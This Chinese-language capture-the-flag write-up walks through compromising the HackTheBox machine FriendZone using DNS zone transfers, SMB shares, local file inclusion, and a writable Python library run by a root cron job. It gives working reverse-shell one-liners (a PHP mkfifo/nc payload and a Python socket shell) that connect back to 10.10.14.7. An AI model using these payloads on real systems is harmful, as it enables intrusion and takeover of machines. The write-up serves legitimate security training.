php://filter/covert.base64-encode/resource={papgename}
的操作为啥不能用?待了解。
nmap -A -p- -oA nmap/tcp 10.10.10.123
开放端口不少,可能是一个比较灵活的盒子。
nmap -sU -A -p- -oA nmap/udp 10.10.10.123
共开放了 tcp 21、22、53、80、139、443、445
、udp 53、139
端口。
我去啊,这些个端口的服务查了一遍下来没有公开漏洞,版本都比较高,直接漏洞打看似不太可能。
没找到公开漏洞。
FTP 尝试匿名登录,登录失败。
ftp 10.10.10.123
Name: anonymous
Password: (blank)
没啥其他内容,放着。
没找到公开漏洞。
ISC BIND
是个 域名解析服务
,暂时不知道有啥用,可能有用,先做个记录。
没找到公开漏洞。
如同 FTP
,对于 SMB
首先要检查能否匿名登录,列出共享目录以及权限,是必要操作。这里登录成功。
# 查看文件目录 & 权限
smbmap -H 10.10.10.123
# 匿名登录,翻找是否有敏感数据
smbclient //10.10.10.123
/Development
可读可写,空文件夹;
/general
仅可读,里面找到一个 creds.txt
,下载到本地打开,看似是 admin
密码,存一下。
没找到公开漏洞。
打开主页 http://10.10.10.123
,是一个空白页,dirbuster
跑一下目录找到个 /wordpress
啥都没有。
好像走到死胡同,没有找到其他突破口,这时候要回顾之前收集的信息看有没有遗漏、之前收集的线索有没有没用上、或者还不知道怎么用的。
回顾 nmap 扫描结果里 80
和 443
有不同页面,直接打开 https://10.10.10.123
是 404,想到可能存在特定路由配置,需要域名才能访问。
应该是什么域名呢?翻一遍前面的信息,找找是否有提示。
Email us at: info@firendzoneportal.red
,得到域名1 friendzoneportal.red
。nmap 443
扫描结果 ssl-cert: commonName=friendzone.red
,得到域名2 friendzone.red
。添加 /etc/hosts
本地解析,浏览器打开 https://friendzoneportal.red,https://friendzone.red
,果然是另一个页面。
$ vi /etc/hosts
10.10.10.123 friendzoneportal.red friendzone.red
查看页面源代码,
https://friendzone.red
主页下注释了神秘路径/js/js
,打开没啥内容,不知道有啥用。
联系之前扫到的 53 端口 BIND 服务,靶机可能自身是一个 DNS Server
,可能还有其他的子域名,先从靶机地址捞一波解析记录,反查域名,得到许多子域。
# dig
dig axfr @10.10.10.123 friendzone.red
dig axfr @10.10.10.123 friendzoneportal.red
# host
host -l friendzone.red 10.10.10.123
host -l friendzoneportal.red 10.10.10.123
处理一下结果获得 9 个子域名,全部加入本地解析。
cat fzt | grep IN | awk '{print $1}' | sed 's/\.$//g' | sort -u > hosts # awk 默认按 tab/space 分割,cut 默认按 tab
$ vi hosts
admin.friendzoneportal.red
administrator1.friendzone.red
files.friendzoneportal.red
friendzoneportal.red
friendzone.red
hr.friendzone.red
imports.friendzoneportal.red
uploads.friendzone.red
vpn.friendzoneportal.red
:%s/\n/ /g
于是又多了一大堆站点可以耍,走出刚刚的死胡同。
浏览了上面9个域名,只有5个有页面,dirbuster 跑目录的同时,手工渗透。
friendzoneportal.red
admin.friendzoneportal.red
friendzone.red
administrator1.friendzone.red
uploads.friendzone.red
hr.friendzone.red # 404
imports.friendzoneportal.red # 404
files.friendzoneportal.red # 404
vpn.friendzoneportal.red # 404
目录啥也没跑出来。
首先全部访问一下,有个工具 aquatone
类似 web 探测器,没装,手工访问一遍,这里一定要 http
和 https
都试一下,可能有不同结果。
friendzoneportal.red
之前看了没东西,排除。friendzone.red
之前看了没东西,排除。admin.friendzoneportal.red
页面登录默认页面 login.php
无论传什么参数返回都一样,功能欠缺,先放着。administrator1.friendzone.red
登录页,有搞头。uploads.friendzone.red
上传页,有搞头。着重看后面两域名。
https://administrator1.friendzone.red
使用之前拿到的 admin 账密登录成功。
https://uploads.friendzone.red
哦豁,上传点,加前面的传参解析,离成功不远了。
根据页面提示传参 https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp
,拿到图片路径 /images
,发现有还有图片 b.jpg
,修改 image_id=b.jpg
,可见图片和下方内容随之变化。
根据 参数名和现象
,初步判定:
.php
。验证猜想,访问 https://administrator1.friendzone.red/timestamp.php
,得到以下页面,内容正是上方页面里左下角部分,说明 pagename
参数存在本地文件包含,所以只要想办法上传脚本令其包含即可。
在上传页 https://uploads.friendzone.red
尝试上传 .php
.jpg
,得到成功字样和一个时间戳。
$ vi info.php
<?php phpinfo();?> # 上传的文件
但是没有返回文件地址,/images
也没有留存文件,那上传到底成没成功?还是要枚举一番?
尝试过 文件名/带后缀/不带后缀/返回的时间戳
花式组合分别放在 image_id
pagename
均没用,前端就是看不到内容。难道根本没有上传成功?
当存在文件包含时,往往只能看见执行后的文件,如果能知道脚本里写了什么,是不是就能很快判定这里上传逻辑了呢。
那么要怎么获得执行前的脚本文件?据说有这么个姿势,会返回相应页面的 base64,解码可得页面内容。https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/covert.base64-encode/resource=login
但是实操无效,原因未知。
假设这里没有上传成功怎么办,是否还有其他上传点?那几个域名再检查了一遍均无果,最后想到 smb 还有一个可写文件夹。
上传 info.php
,尝试包含。
smbclient //10.10.10.123/Development
> put info.php
根据文件夹备注,/Development
文件夹在服务器对应的地址是 /etc/Development
。
访问 https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/info
查看是否包含了我们的 info.php
,发现成功包含。
最后上传反弹 shell 脚本,访问页面令后端包含,在 kali getshell。
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f');?>
上线了先检查配置。
找到一个 exim4 4.90.1
是漏洞版本,试过 exp 不行。
在 /var/www/
找到一个 mysql 配置文件,是 friend
用户密码,尝试 su friend
成功切换用户。
在 /home/friend
找到 user.txt
,是普通 flag,根据经验用 ls -la
看了一下发现隐藏文件 .sudo_as_admin_successful
,似乎直接可以执行 root 命令?
然鹅 sudo su
失败。
传一个 pspy64s
监控定时任务,发现执行了一个 python
脚本。
但是查看权限发现不可写,再查看下内容,主要代码逻辑是注释掉的。
脚本里 import os
。脚本不可写,导入的库却不一定,locate os.py
定位库文件,查看一下权限,是可写的。
向 /usr/lib/python2.7/os.py
追加 python 反弹 shell 代码。
echo 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",4445));dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> /usr/lib/python2.7/os.py
本地开启监听 nc -lnvp 4445
,等待定时任务启动,获得 root shell。